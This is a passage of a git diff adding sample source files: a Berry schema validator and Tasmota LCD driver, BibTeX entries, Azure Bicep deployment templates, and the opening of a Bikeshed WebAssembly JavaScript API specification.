+    def match(format, value)
+        var found = PatternMatch.formats.find(format)
+        if found != nil
+            var engine = self.invoke(found['validator'])
+            if engine !=nil 
+                return !!engine(self, found['pattern'], value)
+            end
+        end
+        return !!self.regex(format, value)
+    end
+    def invoke(engine)
+        return {
+            sv.regex: self.regex,
+            sv.time: self.strptime
+        }.find(engine)
+    end
+    def regex(pattern, value)
+        import re
+        # If the compiled regex is not cached, compile and cache
+        if !self._compiled.contains(pattern)
+            self._compiled[pattern] = re.compile(pattern)
+        end
+        return self._compiled[pattern].match(value)
+    end
+    def strptime(pattern, value)
+        var t = tasmota.strptime(value, pattern)
+        if t && t['hour'] < 24 && t['min'] < 60 && t['sec'] < 60
+            return true
+        else
+            return false
+        end
+    end
+end
+   
+class Validate
+    var node, name, path, errors, value, fv
+    def addError(error)
+        var path = self.path[1..]
+        path.push(self.name)
+        path = path.concat('.')
+        self.errors[path] = error
+    end
+    def isValid(node, data, name, value, path, errors)
+        self.node = node
+        self.name = name
+        self.path = path
+        self.errors = errors
+        self.value = value
+        if !self.isValidRequired()
+            self.addError('is required')
+            return false
+        end
+        if self.value == 'undefined'
+            return true
+        end
+        var tv = gettype(self.value)
+        if !self.isValidType(tv)
+            self.addError('type must be ' .. self.node['type'])
+            return false;
+        end
+        if !self.isValidSize(tv)
+            self.addError('size must be '.. self.node['size'])
+            return false
+        end
+        if !self.isValidValues(tv)
+            self.addError('values must be '.. self.node['values'])
+            return false
+        end
+        if !self.isValidFormat() 
+            self.addError('value does not match '.. self.node['format'])
+            return false
+        end
+        return true
+    end
+    def isValidRequired()
+        var required = self.node.find('required')
+        return !(self.value == 'undefined' && required)
+    end
+    def isValidType(tv)
+        if !self.node.contains('type')
+            return true
+        end
+        return tv == self.node['type']
+    end
+    def isValidSize(tv)
+        if !self.node.contains('size') 
+            return true
+        end
+        if tv != 'list' && tv != 'string'
+            return true
+        end
+        var sizeType = gettype(self.node['size'])
+        if sizeType == 'int'
+            return size(self.value) == self.node['size']
+        elif sizeType == 'range'
+            return size(self.value) >= self.node['size'].lower() &&
+            size(self.value) <= self.node['size'].upper()
+        else
+            self.addError('schema size must be int or range')
+            return false
+        end
+    end
+    def isValidValues(tv)
+        if !self.node.contains('values')
+            return true
+        end
+        var nv = self.node['values']
+        if gettype(nv) != 'list'
+            self.addError("schema values must be list")
+            return false
+        end
+        var num = (tv == 'int' || tv == 'real')
+        for v: nv
+          if num && isinstance(v, range) 
+            && self.value >= v.lower() 
+            && self.value <= v.upper()
+            return true
+          elif self.value == v
+            return true
+          end
+        end
+        return false
+    end
+    def isValidFormat()
+        if !self.node.contains('format')
+            return true
+        end
+        # Lazy instantiate the FormatValidator if needed
+        if !self.fv self.fv = FormatValidator() end
+        return self.fv.match(self.node['format'], self.value)
+    end
+end
+
+class SchemaValidator
+    var data, errors, path, val
+    def init(schema, data)
+        self.data = {}
+        self.errors = {}
+        self.path = []
+        self.val = Validate()
+        self.visit({"root": schema}, {"root": data})
+    end       
+    def visit(parentNode, data, opt, cleanedData)
+        data = data ? data : {}
+        opt = opt ? opt : {}
+        cleanedData = cleanedData ? cleanedData : {}
+        if opt.contains('nodeName')
+            self.path.push(opt['nodeName'])
+        end        
+        for name: parentNode.keys()
+            var node = parentNode[name]
+            var nodeType = gettype(node)
+            # Expand schema list shortcut
+            if nodeType == 'list'
+                node = {
+                    "items": node[0],
+                    "type": 'list'
+                }
+                if node['items'].contains('size')
+                    node['size'] = node['items']['size']
+                    node['items'].remove('size')
+                end
+            end
+            var value = data.contains(name) ? data[name] : 'undefined'
+            if !self.val.isValid(node, data, name, value, self.path, self.errors)
+                continue
+            end
+            if value == 'undefined'
+                continue
+            end
+            if node['type'] == 'map'
+                cleanedData[name] = {}
+                self.visit(
+                    node['properties'], 
+                    data[name], 
+                    {"nodeName": name}, 
+                    cleanedData[name]
+                )
+                continue
+            elif node['type'] == 'list'
+                cleanedData[name] = []
+                for idx: data[name].keys()
+                    self.visit(
+                        {idx: node['items']},
+                        {idx: data[name][idx]},
+                        {"nodeName": name},
+                        cleanedData[name]
+                    )
+                end
+                continue
+            end
+            if gettype(cleanedData) == 'list'
+                cleanedData.push(data[name])
+            else
+                cleanedData[name] = data[name]
+            end
+        end
+        if opt.contains('nodeName')
+            self.path.pop()
+        end
+        if self.path.size() == 0
+            self.data = cleanedData.find('root')
+        end
+        return self
+    end
+    def result()
+        return {
+            "is_valid": !self.errors.size(),
+            "errors": self.errors,
+            "data": self.data
+        }
+    end
+end
+
+# Load persisted regex patterns
+PatternMatch.load()
+
+sv.formats = def() 
+    var l = []
+    for k: PatternMatch.formats.keys()
+        l.push(k)
+    end
+    return l 
+end
+sv.add_format = def(pattern, engine, value)
+    if type(pattern) != 'string' return end
+    if type(value) != 'string' return end
+    if engine != sv.regex && engine != sv.time
+        return
+    end
+    PatternMatch.formats.setitem(
+        value, {"validator": engine, "pattern": pattern}
+    )
+    persist.save()
+end
+sv.remove_format = def(key)
+    PatternMatch.formats.remove(key)
+    persist.save()
+end
+sv.validate = def(schema, data) 
+    return SchemaValidator(schema, data).result() 
+end
+return sv
\ No newline at end of file
diff --git a/samples/Berry/lcd_display.be b/samples/Berry/lcd_display.be
new file mode 100644
index 0000000000..3c9ca28f80
--- /dev/null
+++ b/samples/Berry/lcd_display.be
@@ -0,0 +1,394 @@
+import string
+
+var lcd_display = module('lcd_display')
+
+#  ------------------------------------------------------------------------------------
+#  This is a Tasmota driver for the Liquid Crystal LCD displays that use the I2C bus.
+#  The backlight is on by default, since that is the most likely operating mode in
+#  most cases. It is a direct berry port of the Arduino Liquid Crystal 12C C++ library.
+#  Cols and Rows both start at 1, not zero.
+#  -------------------------------------------------------------------------------------
+
+class lcd_i2c
+
+    # commands
+    static LCD_CLEARDISPLAY = 0x01
+    static LCD_RETURNHOME = 0x02
+    static LCD_ENTRYMODESET = 0x04
+    static LCD_DISPLAYCONTROL = 0x08
+    static LCD_CURSORSHIFT = 0x10
+    static LCD_FUNCTIONSET = 0x20
+    static LCD_SETCGRAMADDR = 0x40
+    static LCD_SETDDRAMADDR = 0x80
+
+    # flags for display entry mode
+    static LCD_ENTRYRIGHT = 0x00
+    static LCD_ENTRYLEFT = 0x02
+    static LCD_ENTRYSHIFTINCREMENT = 0x01
+    static LCD_ENTRYSHIFTDECREMENT = 0x00
+
+    # flags for display on/off control
+    static LCD_DISPLAYON = 0x04
+    static LCD_DISPLAYOFF = 0x00
+    static LCD_CURSORON = 0x02
+    static LCD_CURSOROFF = 0x00
+    static LCD_BLINKON = 0x01
+    static LCD_BLINKOFF = 0x00
+
+    # flags for display/cursor shift
+    static LCD_DISPLAYMOVE = 0x08
+    static LCD_CURSORMOVE = 0x00
+    static LCD_MOVERIGHT = 0x04
+    static LCD_MOVELEFT = 0x00
+
+    # flags for function set
+    static LCD_8BITMODE = 0x10
+    static LCD_4BITMODE = 0x00
+    static LCD_2LINE = 0x08
+    static LCD_1LINE = 0x00
+    static LCD_5x10DOTS = 0x04
+    static LCD_5x8DOTS = 0x00
+
+    # flags for backlight control
+    static LCD_BACKLIGHT = 0x08
+    static LCD_NOBACKLIGHT = 0x00
+
+    # Helper flags
+    static LCD_LINES = {1: 0x80, 2: 0xC0, 3: 0x94, 4: 0xD4}
+    static LCD_SLEEP = 1
+
+    static Rg = 0x00    # Register default
+    static En = 0x04    # Enable bit
+    static Rs = 0x01    # Register select bit
+
+    var address, wire, rows, cols, charsize, backlight, displaycontrol, displaymode
+
+    #  Constructor
+    #
+    #  @param address    I2C slave address of the LCD display. Most likely printed on the
+    #                    LCD circuit board, or look in the supplied LCD documentation.
+    #  @param cols       Number of columns your LCD display has.
+    #  @param rows       Number of rows your LCD display has.
+    #  @param charsize   The size in dots that the display has, use LCD_5x10DOTS or LCD_5x8DOTS.
+    def init(address, rows, cols, charsize)
+        self.address = address ? address : 0x27
+        self.rows = rows ? rows : 4
+        self.cols = cols ? cols : 20
+        self.charsize = charsize ? charsize : self.LCD_5x8DOTS
+        self.backlight = self.LCD_BACKLIGHT
+        self.wire = tasmota.wire_scan(self.address)
+        # Start the display
+        self.begin()
+    end
+    def begin()
+        # Set some defaults...
+        var displayfunction = self.LCD_4BITMODE | self.LCD_1LINE | self.LCD_5x8DOTS
+        if self.rows > 1
+            displayfunction |= self.LCD_2LINE
+        end
+        # For some 1 line displays you can select a 10 pixel high font
+        if self.charsize != 0 && self.rows == 1
+            displayfunction |= self.LCD_5x10DOTS
+        end
+        # Reeset expander and turn backlight off (Bit 8 =1)
+        self.expand_write(self.backlight)
+        tasmota.delay(1)
+        # We start in 8bit mode, try to set 4 bit mode
+	    self.write4bits(0x03 << 4)
+        # Wait min 4 ms
+        tasmota.delay(5)
+        # second try
+	    self.write4bits(0x03 << 4)
+	    tasmota.delay(5) # wait min 4.1ms
+    	# third go!
+	    self.write4bits(0x03 << 4)
+    	tasmota.delay(1)
+        # set to 4-bit interface
+        self.write4bits(0x02 << 4)
+        # Set lines, font size, etc.
+	    self.command(self.LCD_FUNCTIONSET | displayfunction)
+        # Turn the display on with no cursor or blinking default
+	    self.displaycontrol = self.LCD_DISPLAYON | self.LCD_CURSOROFF | self.LCD_BLINKOFF
+    	self.display()
+        # Clear the screen
+        self.clear()
+        # Initialize to default text direction (for roman languages)
+	    self.displaymode = self.LCD_ENTRYLEFT | self.LCD_ENTRYSHIFTDECREMENT
+        # Set the entry mode
+        self.command(self.LCD_ENTRYMODESET | self.displaymode)
+        # Set cursor position to zero
+        self.home()
+    end
+
+    #********** High level commands, for the user! **********
+
+    def clear()
+        self.command(self.LCD_CLEARDISPLAY)
+    end
+    # Set cursor position to zero
+    def home()
+        self.command(self.LCD_RETURNHOME)
+        tasmota.delay(2)
+    end
+    # Set cursor position. First row and column is 1 not zero 
+    def set_cursor(col, row)
+        var row_offsets = [0x00, 0x40, 0x14, 0x54]
+        if row > self.rows
+            row = self.rows-1 
+        end
+        self.command(self.LCD_SETDDRAMADDR | (col-1 + row_offsets[row-1]))
+    end
+    # Turn the display on/off (quickly)
+    def no_display()
+        self.displaycontrol &= ~self.LCD_DISPLAYON
+        self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    def display()
+        self.displaycontrol |= self.LCD_DISPLAYON
+        self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    # Turns the underline cursor on/off
+    def no_cursor()
+	    self.displaycontrol &= ~self.LCD_CURSORON
+	self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    def cursor()
+	    self.displaycontrol |= self.LCD_CURSORON
+	self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    # Turn on and off the blinking cursor
+    def no_blink()
+	    self.displaycontrol &= ~self.LCD_BLINKON
+	self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    def blink()
+	    self.displaycontrol |= self.LCD_BLINKOFF
+	    self.command(self.LCD_DISPLAYCONTROL | self.displaycontrol)
+    end
+    # This is for text that flows Left to Right
+    def display_left()
+        self.command(self.LCD_CURSORSHIFT | self.LCD_DISPLAYMOVE | self.LCD_MOVELEFT)
+    end
+    def display_right()
+        self.command(self.LCD_CURSORSHIFT | self.LCD_DISPLAYMOVE | self.LCD_MOVERIGHT)
+    end
+    # This is for text that flows Left to Right
+    def left_to_right()
+        self.displaymode |= self.LCD_ENTRYLEFT
+        self.command(self.LCD_ENTRYMODESET | self.displaymode)
+    end
+    # This is for text that flows Right to Left
+    def right_to_left()
+        self.displaymode &= ~self.LCD_ENTRYLEFT
+        self.command(self.LCD_ENTRYMODESET | self.displaymode)
+    end
+    # This will 'right justify' text from the cursor
+    def autoscroll()
+        self.displaymode |= self.LCD_ENTRYSHIFTINCREMENT
+        self.command(self.LCD_ENTRYMODESET | self.displaymode)
+    end    
+    # This will 'left justify' text from the cursor
+    def no_autoscroll()
+        self.displaymode &= ~self.LCD_ENTRYSHIFTINCREMENT
+        self.command(self.LCD_ENTRYMODESET | self.displaymode)
+    end
+    # Allows us to fill the first 8 CGRAM locations with custom characters 
+    def create_char(location, chars)
+        location &= 0x7 # We only have 8 locations 0-7
+        self.command(self.LCD_SETCGRAMADDR | (location << 3))
+        for char: 0 .. 7
+            self.write(chars[char])
+        end
+    end
+    # Turn the (optional) backlight on/off
+    def backlight_on()
+        self.backlight = self.LCD_BACKLIGHT
+        self.expand_write(0)
+    end
+    def backlight_off()
+        self.backlight = self.LCD_NOBACKLIGHT
+        self.expand_write(0)
+    end
+    def get_backlight()
+        return self.backlight == self.LCD_BACKLIGHT
+    end
+
+    # *********** Mid level commands, for sending data/cmds ************
+
+    def command(byte)
+        self.send(byte, 0)
+    end
+    def write(byte)
+        self.send(byte, self.Rs)
+    end
+    def write_line(text, line)
+        if !self.LCD_LINES.has(line) return end
+        import string
+        self.command(self.LCD_LINES[line])
+        text = self.pad(text)
+        for char: 0 .. size(text) -1
+            self.write(string.byte(text[char]))
+        end
+    end
+    
+    # ************ low level data pushing commands ************
+
+    def send(byte, mode)
+        mode = mode ? mode : 0
+        self.write4bits(mode | (byte & 0xF0) )
+        self.write4bits(mode | ((byte << 4) & 0xF0) )
+    end
+    def write4bits(byte)
+        self.expand_write(byte)
+        self.pulse_enable(byte)
+    end
+    def expand_write(byte)
+        if self.wire != nil
+            self.wire.write(self.address, self.Rg, (byte | self.backlight), 1)
+        end
+    end
+    def pulse_enable(byte)
+        self.expand_write(byte | self.En)
+        tasmota.delay(self.LCD_SLEEP)
+        self.expand_write(byte & ~self.En)
+        tasmota.delay(self.LCD_SLEEP)
+    end
+
+    # Helper methods
+
+    def pad(text)
+        for x: size(text) .. self.cols-1  
+            text += " " 
+        end
+        return text        
+    end
+    def set_backlight(on)
+        if on
+            self.backlight_on()
+        else
+            self.backlight_off()
+        end
+    end
+end
+
+class clock
+    static callback = nil
+    static initialised = false
+    static waiting = false
+    static def initialise()
+        clock.initialised = true
+        if clock.waiting
+            clock.waiting = false
+            clock.callback()
+            clock.set_timer()
+        end
+    end
+    static def start(callback)
+        clock.callback = callback
+        if clock.initialised
+            clock.set_timer()
+        else
+            clock.waiting = true
+        end
+    end
+    static def set_timer()
+        tasmota.set_timer(
+            def()
+                var l = tasmota.rtc()['local']
+                var t = tasmota.time_dump(l)
+                return 60000-t['sec']*1000
+            end(),
+            def() 
+                if clock.callback
+                    clock.callback()
+                end
+                clock.set_timer() 
+            end, 
+            "hc_lcd_timer"
+        )
+    end
+    static def stop()
+        tasmota.remove_timer("hc_lcd_timer")
+    end
+ end
+
+class dotmatrixscreen
+    var lcd
+    def init()
+        self.lcd = lcd_i2c()
+    end
+    def start()
+        self.power(true)
+        # subscribe to initial time
+        if clock.initialised 
+            self.update_clock()
+        else
+            self.lcd.write_line("Starting...", 1)
+            clock.callback = / -> self.update_clock()
+        end
+        self.start_clock()
+        tasmota.add_rule("HeatingDisplay#HeatingZone", /z-> self.update_zone(z))
+        tasmota.add_rule("HeatingDisplay#ClearZone", /z-> self.clear_zone(z))
+    end
+    def stop()
+        self.lcd.clear()
+        tasmota.remove_rule("HeatingDisplay#HeatingZone")
+        tasmota.remove_rule("HeatingDisplay#ClearZone")
+        self.stop_clock()
+        self.power(false)
+    end
+    def power(bool)
+        self.lcd.set_backlight(bool)
+    end
+    def update_clock()
+        self.lcd.write_line(tasmota.strftime('%H:%M %a %d %b %y', tasmota.rtc()['local']), 1)
+    end
+    def update_zone(zone)
+        if zone['id'] > 3 return end
+        var const = 12&(1<<zone['mode'])
+        var fmt = const ? "%s %s Const" : '%s %s until %%R'
+        var info = string.format(fmt, zone['label'], zone['power'] ? 'ON' : 'OFF')
+        if !const
+            info = tasmota.strftime(info, zone['expiry'])
+        end
+        self.lcd.write_line(info, zone['id']+1)
+    end
+    def clear_zone(zone)
+        self.lcd.write_line('', zone+1)
+    end
+    def start_clock()
+        clock.start(/->self.update_clock())
+    end
+    def stop_clock()
+        clock.stop()
+    end
+end
+
+# Hold a reference to screen instance
+lcd_display._display = nil
+
+def ack()
+    tasmota.publish_result('{"HeatingDisplay":"ACK"}', 'RESULT')
+end
+
+def start()
+    if lcd_display._display return end
+    lcd_display._display = dotmatrixscreen()
+    lcd_display._display.start()
+end
+def stop()
+    if !lcd_display._display return end
+    lcd_display._display.stop()
+    lcd_display._display = nil
+end
+
+# Subscibe to Tasmota events
+tasmota.add_rule("Time#Initialized", /-> clock.initialise())
+# Subscribe to events sent from Heating Controller
+tasmota.add_rule("HeatingDisplay==ON", /->tasmota.set_timer(0, start))
+tasmota.add_rule("HeatingDisplay==OFF", /->tasmota.set_timer(0, stop))
+tasmota.add_rule("HeatingDisplay==SYN", /->tasmota.set_timer(0, ack))
+# Once lvgl_display loads an initialisation trigger is broadcast
+ack()
+
+return lcd_display
diff --git a/samples/BibTeX/citations.bib b/samples/BibTeX/citations.bib
new file mode 100644
index 0000000000..6e7f540739
--- /dev/null
+++ b/samples/BibTeX/citations.bib
@@ -0,0 +1,29 @@
+%% Following example taken from BibTeX's Wikipedia article
+
+@Book{abramowitz+stegun,
+ author    = "Milton {Abramowitz} and Irene A. {Stegun}",
+ title     = "Handbook of Mathematical Functions with
+              Formulas, Graphs, and Mathematical Tables",
+ publisher = "Dover",
+ year      =  1964,
+ address   = "New York City",
+ edition   = "ninth Dover printing, tenth GPO printing"
+}
+
+%% Next two examples were taken from github/linguist#3679
+
+@incollection{dijkstra1982role,
+  title={On the role of scientific thought},
+  author={Dijkstra, Edsger W},
+  booktitle={Selected writings on computing: a personal perspective},
+  pages={60--66},
+  year={1982},
+  publisher={Springer}}
+
+@book{knuth1998art,
+  title={The art of computer programming: sorting and searching $math$},
+  author={Knuth, Donald Ervin},
+  volume={3},
+  year={1998},
+  publisher={Pearson Education}
+}
diff --git a/samples/BibTeX/deeplyaggrevated.bibtex b/samples/BibTeX/deeplyaggrevated.bibtex
new file mode 100644
index 0000000000..4355545071
--- /dev/null
+++ b/samples/BibTeX/deeplyaggrevated.bibtex
@@ -0,0 +1,16 @@
+@article{DBLP:journals/corr/SunVGBB17,
+  author    = {Wen Sun and
+               Arun Venkatraman and
+               Geoffrey J. Gordon and
+               Byron Boots and
+               J. Andrew Bagnell},
+  title     = {Deeply AggreVaTeD: Differentiable Imitation Learning for Sequential
+               Prediction},
+  journal   = {CoRR},
+  volume    = {abs/1703.01030},
+  year      = {2017},
+  url       = {http://arxiv.org/abs/1703.01030},
+  timestamp = {Wed, 07 Jun 2017 14:41:53 +0200},
+  biburl    = {http://dblp.uni-trier.de/rec/bib/journals/corr/SunVGBB17},
+  bibsource = {dblp computer science bibliography, http://dblp.org}
+}
\ No newline at end of file
diff --git a/samples/Bicep/101-container-registry.bicep b/samples/Bicep/101-container-registry.bicep
new file mode 100644
index 0000000000..32a78cc2ac
--- /dev/null
+++ b/samples/Bicep/101-container-registry.bicep
@@ -0,0 +1,33 @@
+// params
+@minLength(5)
+@maxLength(50)
+@description('Specifies the name of the azure container registry.')
+param acrName string = 'acr001${uniqueString(resourceGroup().id)}' // must be globally unique
+
+@description('Enable admin user that have push / pull permission to the registry.')
+param acrAdminUserEnabled bool = false
+
+@description('Specifies the Azure location where the key vault should be created.')
+param location string = resourceGroup().location
+
+@allowed([
+  'Basic'
+  'Standard'
+  'Premium'
+])
+@description('Tier of your Azure Container Registry.')
+param acrSku string = 'Basic'
+
+// azure container registry
+resource acr 'Microsoft.ContainerRegistry/registries@2019-12-01-preview' = {
+  name: acrName
+  location: location
+  sku: {
+    name: acrSku
+  }
+  properties: {
+    adminUserEnabled: acrAdminUserEnabled
+  }
+}
+
+output acrLoginServer string = acr.properties.loginServer
diff --git a/samples/Bicep/201-1vm-2nics-2subnets-1vnet.bicep b/samples/Bicep/201-1vm-2nics-2subnets-1vnet.bicep
new file mode 100644
index 0000000000..0e82879704
--- /dev/null
+++ b/samples/Bicep/201-1vm-2nics-2subnets-1vnet.bicep
@@ -0,0 +1,155 @@
+param virtualMachineSize string
+param adminUsername string
+
+@secure()
+param adminPassword string
+
+param storageAccountType string
+param location string = resourceGroup().location
+
+var nic1Name = 'nic-1'
+var nic2Name = 'nic-2'
+var virtualNetworkName = 'virtualNetwork'
+var subnet1Name = 'subnet-1'
+var subnet2Name = 'subnet-2'
+var publicIPAddressName = 'publicIp'
+var diagStorageAccountName = concat('diags', uniqueString(resourceGroup().id))
+var networkSecurityGroupName = 'NSG'
+var networkSecurityGroupName2 = concat(subnet2Name, '-nsg')
+
+module vmMod './vm.bicep' = {
+  name: 'vmMod'
+  params: {
+    adminUsername: adminUsername
+    adminPassword: adminPassword
+    virtualMachineSize: virtualMachineSize
+    virtualMachineName: 'VM-MultiNic'
+    nic1Id: nic1.id
+    nic2Id: nic2.id
+    diagsStorageUri: diagsAccount.properties.primaryEndpoints.blob
+  }
+}
+
+resource diagsAccount 'Microsoft.Storage/storageAccounts@2017-06-01' = {
+  name: diagStorageAccountName
+  location: location
+  sku: {
+    name: storageAccountType
+  }
+  kind: 'Storage'
+}
+
+// Simple Network Security Group for subnet2
+resource nsg2 'Microsoft.Network/networkSecurityGroups@2019-08-01' = {
+  name: networkSecurityGroupName2
+  location: location
+  properties: {}
+}
+
+// This will build a Virtual Network.
+resource vnet 'Microsoft.Network/virtualNetworks@2017-06-01' = {
+  name: virtualNetworkName
+  location: location
+  properties: {
+    addressSpace: {
+      addressPrefixes: [
+        '10.0.0.0/16'
+      ]
+    }
+    subnets: [
+      {
+        name: subnet1Name
+        properties: {
+          addressPrefix: '10.0.0.0/24'
+        }
+      }
+      {
+        name: subnet2Name
+        properties: {
+          addressPrefix: '10.0.1.0/24'
+          networkSecurityGroup: {
+            id: nsg2.id
+          }
+        }
+      }
+    ]
+  }
+}
+
+// This will be your Primary NIC
+resource nic1 'Microsoft.Network/networkInterfaces@2017-06-01' = {
+  name: nic1Name
+  location: location
+  properties: {
+    ipConfigurations: [
+      {
+        name: 'ipconfig1'
+        properties: {
+          subnet: {
+            id: '${vnet.id}/subnets/${subnet1Name}'
+          }
+          privateIPAllocationMethod: 'Dynamic'
+          publicIPAddress: {
+            id: pip.id
+          }
+        }
+      }
+    ]
+    networkSecurityGroup: {
+      id: nsg.id
+    }
+  }
+}
+
+// This will be your Secondary NIC
+resource nic2 'Microsoft.Network/networkInterfaces@2017-06-01' = {
+  name: nic2Name
+  location: location
+  properties: {
+    ipConfigurations: [
+      {
+        name: 'ipconfig1'
+        properties: {
+          subnet: {
+            id: '${vnet.id}/subnets/${subnet2Name}'
+          }
+          privateIPAllocationMethod: 'Dynamic'
+        }
+      }
+    ]
+  }
+}
+
+// Public IP for your Primary NIC
+resource pip 'Microsoft.Network/publicIPAddresses@2017-06-01' = {
+  name: publicIPAddressName
+  location: location
+  properties: {
+    publicIPAllocationMethod: 'Dynamic'
+  }
+}
+
+// Network Security Group (NSG) for your Primary NIC
+resource nsg 'Microsoft.Network/networkSecurityGroups@2016-09-01' = {
+  name: networkSecurityGroupName
+  location: location
+  properties: {
+    securityRules: [
+      {
+        name: 'default-allow-rdp'
+        properties: {
+          priority: 1000
+          sourceAddressPrefix: '*'
+          protocol: 'Tcp'
+          destinationPortRange: '3389'
+          access: 'Allow'
+          direction: 'Inbound'
+          sourcePortRange: '*'
+          destinationAddressPrefix: '*'
+        }
+      }
+    ]
+  }
+}
+
+output publicIp string = pip.properties.ipAddress
diff --git a/samples/Bicep/params.bicepparam b/samples/Bicep/params.bicepparam
new file mode 100644
index 0000000000..03544ffa07
--- /dev/null
+++ b/samples/Bicep/params.bicepparam
@@ -0,0 +1,25 @@
+using 'br/public:ai/cognitiveservices:1.1.1'
+
+var suffix = 'ac9h8d'
+
+param skuName = 'S0'
+param kind = 'OpenAI'
+param name = 'openai-${suffix}'
+param location = 'westus2'
+param deployments = [
+  {
+    name: 'model-deployment-${suffix}'
+    sku: {
+      name: 'Standard'
+      capacity: 120
+    }
+    properties: {
+      model: {
+        format: 'OpenAI'
+        name: 'text-davinci-002'
+        version: 1
+      }
+      raiPolicyName: 'Microsoft.Default'
+    }
+  }
+]
diff --git a/samples/Bikeshed/example.bs b/samples/Bikeshed/example.bs
new file mode 100644
index 0000000000..d89b3ff373
--- /dev/null
+++ b/samples/Bikeshed/example.bs
@@ -0,0 +1,211 @@
+<pre class='metadata'>
+Title: WebAssembly JavaScript Interface
+Shortname: wasm-js-api
+Group: wasm
+Status: ED
+Level: 1
+TR: https://www.w3.org/TR/wasm-js-api-1/
+ED: https://webassembly.github.io/spec/js-api/
+Editor: Ms2ger (Igalia)
+Repository: WebAssembly/spec
+Markup Shorthands: css no, markdown yes
+Abstract: This document provides an explicit JavaScript API for interacting with WebAssembly.
+Prepare For TR: true
+</pre>
+
+<pre class='biblio'>
+{
+  "WEBASSEMBLY": {
+    "href": "https://webassembly.github.io/spec/core/",
+    "title": "WebAssembly Core Specification",
+    "publisher": "W3C WebAssembly Community Group",
+    "status": "Draft"
+  }
+}
+</pre>
+
+<pre class="anchors">
+urlPrefix: https://tc39.github.io/ecma262/; spec: ECMASCRIPT
+    type: interface; for: ECMAScript
+        text: ArrayBuffer; url: sec-arraybuffer-objects
+    type: exception; for: ECMAScript
+        text: Error; url: sec-error-objects
+        text: NativeError; url: sec-nativeerror-constructors
+        text: TypeError; url: sec-native-error-types-used-in-this-standard-typeerror
+        text: RangeError; url: sec-native-error-types-used-in-this-standard-rangeerror
+    type: dfn
+        text: agent cluster; url: sec-agent-clusters
+        text: agent; url: agent
+        text: data block; url: sec-data-blocks
+        text: Bound Function; url: sec-bound-function-exotic-objects
+        text: NumericLiteral; url: sec-literals-numeric-literals
+        text: surrounding agent; url: surrounding-agent
+        text: ToNumber; url: sec-tonumber
+        text: ToInt32; url: sec-toint32
+        text: ToString; url: sec-tostring
+        url: sec-ecmascript-data-types-and-values
+            text: Type
+            text: Type(x)
+        url: sec-iscallable
+            text: IsCallable
+            text: callable; for: ECMAScript
+        url: sec-well-known-intrinsic-objects
+            text: %ErrorPrototype%
+        text: %ObjectPrototype%; url: sec-properties-of-the-object-prototype-object
+        text: %FunctionPrototype%; url: sec-properties-of-the-function-prototype-object
+        text: %Promise%; url: sec-promise-constructor
+        text: Property Descriptor; url: sec-property-descriptor-specification-type
+        text: array index; url: sec-array-exotic-objects
+        text: OrdinaryGetOwnProperty; url: sec-ordinarygetownproperty
+        text: OrdinaryDefineOwnProperty; url: sec-ordinarydefineownproperty
+        text: OrdinaryPreventExtensions; url: sec-ordinarypreventextensions
+        text: OrdinarySet; url: sec-ordinaryset
+        text: equally close values; url: sec-ecmascript-language-types-number-type
+        text: internal slot; url: sec-object-internal-methods-and-internal-slots
+        text: JavaScript execution context stack; url: execution-context-stack
+        text: running JavaScript execution context; url: running-execution-context
+        text: GetIterator; url: sec-getiterator
+        text: IteratorStep; url: sec-iteratorstep
+        text: NormalCompletion; url: sec-normalcompletion
+        text: IteratorValue; url: sec-iteratorvalue
+        url: sec-well-known-symbols
+            text: @@iterator
+            text: @@toStringTag
+        text: CreateDataProperty; url: sec-createdataproperty
+        text: DetachArrayBuffer; url: sec-detacharraybuffer
+        text: SetIntegrityLevel; url: sec-setintegritylevel
+        text: Call; url: sec-call
+        text: Get; url: sec-get-o-p
+        text: DefinePropertyOrThrow; url: sec-definepropertyorthrow
+        text: current Realm; url: current-realm
+        text: ObjectCreate; url: sec-objectcreate
+        text: CreateBuiltinFunction; url: sec-createbuiltinfunction
+        text: SetFunctionName; url: sec-setfunctionname
+        text: SetFunctionLength; url: sec-setfunctionlength
+        text: the Number value; url: sec-ecmascript-language-types-number-type
+        text: NumberToRawBytes; url: sec-numbertorawbytes
+        text: Built-in Function Objects; url: sec-built-in-function-objects
+        text: NativeError Object Structure; url: sec-nativeerror-object-structure
+        text: CreateArrayFromList; url: sec-createarrayfromlist
+        text: GetMethod; url: sec-getmethod
+        text: IterableToList; url: sec-iterabletolist
+        text: ToBigInt64; url: #sec-tobigint64
+        text: BigInt; url: #sec-ecmascript-language-types-bigint-type
+    type: abstract-op
+        text: CreateMethodProperty; url: sec-createmethodproperty
+urlPrefix: https://webassembly.github.io/spec/core/; spec: WebAssembly; type: dfn
+    url: valid/modules.html#valid-module
+        text: valid
+        text: WebAssembly module validation
+    text: module grammar; url: binary/modules.html#binary-module
+    text: custom section; url: binary/modules.html#custom-section
+    text: customsec; url: binary/modules.html#binary-customsec
+    text: memory instance; url: exec/runtime.html#memory-instances
+    text: table instance; url: exec/runtime.html#table-instances
+    text: global instance; url: exec/runtime.html#global-instances
+    text: trap; url: exec/runtime.html#syntax-trap
+    url: exec/runtime.html#values
+        text: WebAssembly value
+        text: i64.const
+        text: i32.const
+        text: f32.const
+        text: f64.const
+        text: ref.null
+        text: ref.func
+        text: ref.extern
+    text: function index; url: syntax/modules.html#syntax-funcidx
+    text: function instance; url: exec/runtime.html#function-instances
+    text: store_init; url: appendix/embedding.html#embed-store-init
+    text: module_decode; url: appendix/embedding.html#embed-module-decode
+    text: module_validate; url: appendix/embedding.html#embed-module-validate
+    text: module_instantiate; url: appendix/embedding.html#embed-module-instantiate
+    text: module_imports; url: appendix/embedding.html#embed-module-imports
+    text: module_exports; url: appendix/embedding.html#embed-module-exports
+    text: instance_export; url: appendix/embedding.html#embed-instance-export
+    text: func_alloc; url: appendix/embedding.html#embed-func-alloc
+    text: func_type; url: appendix/embedding.html#embed-func-type
+    text: func_invoke; url: appendix/embedding.html#embed-func-invoke
+    text: table_alloc; url: appendix/embedding.html#embed-table-alloc
+    text: table_type; url: appendix/embedding.html#embed-table-type
+    text: table_read; url: appendix/embedding.html#embed-table-read
+    text: table_write; url: appendix/embedding.html#embed-table-write
+    text: table_size; url: appendix/embedding.html#embed-table-size
+    text: table_grow; url: appendix/embedding.html#embed-table-grow
